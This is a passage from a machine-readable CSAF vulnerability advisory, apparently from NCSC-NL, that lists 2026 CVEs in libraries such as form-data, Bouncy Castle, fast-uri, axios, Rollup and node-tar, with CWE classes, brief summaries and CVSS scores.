"text": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"title": "CWE-93"
},
{
"category": "description",
"text": "The form-data library up to version 4.0.5 is vulnerable to CRLF injection due to unescaped carriage return, line feed, and double-quote characters in multipart field names and filenames, fixed in versions 2.5.6, 3.0.5, and 4.0.6 by escaping these characters.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-12143 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-12143.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-12143"
},
{
"cve": "CVE-2026-12151",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Multiple Node.js updates address a denial of service vulnerability in the undici WebSocket client caused by unbounded memory growth from numerous small or empty continuation frames, alongside other critical security fixes.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-12151 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-12151.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-12151"
},
{
"cve": "CVE-2026-12802",
"cwe": {
"id": "CWE-354",
"name": "Improper Validation of Integrity Check Value"
},
"notes": [
{
"category": "other",
"text": "Improper Validation of Integrity Check Value",
"title": "CWE-354"
},
{
"category": "description",
"text": "Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a vulnerability in CMS AuthEnvelopedData where tag-length enforcement fails during decryption, potentially compromising data integrity.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-12802 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-12802.json"
}
],
"title": "CVE-2026-12802"
},
{
"cve": "CVE-2026-12803",
"cwe": {
"id": "CWE-354",
"name": "Improper Validation of Integrity Check Value"
},
"notes": [
{
"category": "other",
"text": "Improper Validation of Integrity Check Value",
"title": "CWE-354"
},
{
"category": "description",
"text": "Bouncy Castle for Java versions before 1.85 and LTS versions before 2.73.12 contain a vulnerability in KCCMBlockCipher MAC where nonce binding fails without AAD, enabling cross-nonce AEAD forgery attacks.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-12803 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-12803.json"
}
],
"title": "CVE-2026-12803"
},
{
"cve": "CVE-2026-12816",
"cwe": {
"id": "CWE-354",
"name": "Improper Validation of Integrity Check Value"
},
"notes": [
{
"category": "other",
"text": "Improper Validation of Integrity Check Value",
"title": "CWE-354"
},
{
"category": "description",
"text": "Bouncy Castle for Java versions before 1.85 and LTS versions before 2.73.12 are vulnerable to IESEngine stream-mode MAC forgery due to a length-dependent key derivation function split issue.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-12816 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-12816.json"
}
],
"title": "CVE-2026-12816"
},
{
"cve": "CVE-2026-13149",
"cwe": {
"id": "CWE-407",
"name": "Inefficient Algorithmic Complexity"
},
"notes": [
{
"category": "other",
"text": "Inefficient Algorithmic Complexity",
"title": "CWE-407"
},
{
"category": "other",
"text": "Inefficient Regular Expression Complexity",
"title": "CWE-1333"
},
{
"category": "description",
"text": "brace-expansion versions through 5.0.6 have a denial of service vulnerability due to the expand() function\u0027s exponential-time complexity when processing consecutive non-expanding brace groups, causing high CPU usage and event-loop blocking.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:D/RE:M/U:Amber",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-13149 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-13149.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-13149"
},
{
"cve": "CVE-2026-13506",
"cwe": {
"id": "CWE-674",
"name": "Uncontrolled Recursion"
},
"notes": [
{
"category": "other",
"text": "Uncontrolled Recursion",
"title": "CWE-674"
},
{
"category": "description",
"text": "Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a vulnerability where lazy ASN.1 sequence forcing resets the nesting-depth guard, potentially compromising security controls.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Amber",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-13506 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-13506.json"
}
],
"title": "CVE-2026-13506"
},
{
"cve": "CVE-2026-13676",
"cwe": {
"id": "CWE-436",
"name": "Interpretation Conflict"
},
"notes": [
{
"category": "other",
"text": "Interpretation Conflict",
"title": "CWE-436"
},
{
"category": "other",
"text": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization",
"title": "CWE-551"
},
{
"category": "description",
"text": "fast-uri versions 2.3.1 through 4.0.0 fail to properly canonicalize Unicode/IDN hostnames in HTTP URLs, causing discrepancies with Node\u0027s URL parser that can be exploited to bypass host-based security policies.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-13676 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-13676.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-13676"
},
{
"cve": "CVE-2026-14257",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "brace-expansion versions through 5.0.7 contain a denial of service vulnerability due to unbounded string length in the expand() function, leading to memory exhaustion and fixed in version 5.0.8 by adding a maxLength limit.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-14257 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-14257.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-14257"
},
{
"cve": "CVE-2026-14682",
"cwe": {
"id": "CWE-789",
"name": "Memory Allocation with Excessive Size Value"
},
"notes": [
{
"category": "other",
"text": "Memory Allocation with Excessive Size Value",
"title": "CWE-789"
},
{
"category": "description",
"text": "Bouncy Castle for Java versions prior to 1.85, including certain LTS, FIPS, and bctls-fips versions, contains a vulnerability that can cause out-of-memory errors due to unbounded memory allocation during definite-length reads.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Amber",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-14682 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-14682.json"
}
],
"title": "CVE-2026-14682"
},
{
"cve": "CVE-2026-16221",
"cwe": {
"id": "CWE-436",
"name": "Interpretation Conflict"
},
"notes": [
{
"category": "other",
"text": "Interpretation Conflict",
"title": "CWE-436"
},
{
"category": "description",
"text": "fast-uri versions 2.3.1 to 4.1.0 improperly handle backslashes in URLs, causing host parsing inconsistencies with Node\u0027s WHATWG URL parser that can lead to security bypasses, requiring upgrades to fixed versions.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-16221 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-16221.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-16221"
},
{
"cve": "CVE-2026-18446",
"cwe": {
"id": "CWE-436",
"name": "Interpretation Conflict"
},
"notes": [
{
"category": "other",
"text": "Interpretation Conflict",
"title": "CWE-436"
},
{
"category": "other",
"text": "Improper Validation of Unsafe Equivalence in Input",
"title": "CWE-1289"
},
{
"category": "description",
"text": "fast-uri versions prior to 4.1.2, 3.1.5, and 2.4.4 improperly parse URIs with backslashes instead of double forward slashes, causing discrepancies with Node\u0027s WHATWG URL parser and enabling host-based security policy bypasses.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-18446 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-18446.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-18446"
},
{
"cve": "CVE-2026-21582",
"notes": [
{
"category": "description",
"text": "A critical Broken Authentication \u0026 Session Management vulnerability (CVE-2026-21582) in Atlassian Crowd Data Center 7.2.1 enables unauthenticated attackers to impersonate other users.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-21582 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-21582.json"
}
],
"title": "CVE-2026-21582"
},
{
"cve": "CVE-2026-24734",
"cwe": {
"id": "CWE-295",
"name": "Improper Certificate Validation"
},
"notes": [
{
"category": "other",
"text": "Improper Certificate Validation",
"title": "CWE-295"
},
{
"category": "description",
"text": "Multiple Apache Tomcat and Apache Tomcat Native versions contain an improper input validation vulnerability in OCSP response handling that allows bypassing certificate revocation checks, with additional critical flaws affecting related products like Oracle Siebel CRM and SAP Commerce Cloud.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-24734 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-24734.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-24734"
},
{
"cve": "CVE-2026-25639",
"cwe": {
"id": "CWE-754",
"name": "Improper Check for Unusual or Exceptional Conditions"
},
"notes": [
{
"category": "other",
"text": "Improper Check for Unusual or Exceptional Conditions",
"title": "CWE-754"
},
{
"category": "other",
"text": "Improper Validation of Specified Type of Input",
"title": "CWE-1287"
},
{
"category": "other",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
},
{
"category": "description",
"text": "Multiple vulnerabilities in axios versions prior to 0.30.3 and 1.13.5 cause denial of service via mergeConfig crashing on configuration objects containing __proto__, alongside various security issues in HPE and Oracle products.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-25639 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-25639.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-25639"
},
{
"cve": "CVE-2026-27601",
"cwe": {
"id": "CWE-674",
"name": "Uncontrolled Recursion"
},
"notes": [
{
"category": "other",
"text": "Uncontrolled Recursion",
"title": "CWE-674"
},
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "other",
"text": "Unchecked Input for Loop Condition",
"title": "CWE-606"
},
{
"category": "description",
"text": "Underscore.js versions up to 1.13.7 and Oracle Commerce Platform 11.4.0 contain vulnerabilities causing denial of service via stack overflow or application hang through recursive data processing or business control center flaws, while HPE UOCAM suffers from multiple security issues including path traversal and resource overconsumption.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-27601 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-27601.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-27601"
},
{
"cve": "CVE-2026-27606",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"title": "CWE-22"
},
{
"category": "description",
"text": "Rollup versions prior to 2.80.0, 3.30.0, and 4.59.0 contain a high-severity arbitrary file write vulnerability via path traversal due to improper filename sanitization, enabling attackers to overwrite files and potentially execute remote code.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-27606 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-27606.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-27606"
},
{
"cve": "CVE-2026-29786",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"title": "CWE-22"
},
{
"category": "other",
"text": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
"title": "CWE-59"
},
{
"category": "description",
"text": "Node-tar versions prior to 7.5.10 contain a vulnerability allowing crafted archives to create hardlinks with drive-relative link targets on Windows, enabling path traversal and file overwrite outside the extraction directory.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-29786 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-29786.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-29786"
},
{
"cve": "CVE-2026-40983",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Micrometer versions 1.15.0 to 1.15.11 and 1.16.0 to 1.16.5 contain a vulnerability where specially crafted gRPC requests can trigger a denial-of-service (DoS) condition, impacting system availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-40983 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-40983.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-40983"
},
{
"cve": "CVE-2026-40984",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Micrometer versions 1.9.0 through 1.16.5, including micrometer-core and micrometer-jetty, are vulnerable to specially crafted HTTP requests that can cause a denial-of-service (DoS) condition, impacting system availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
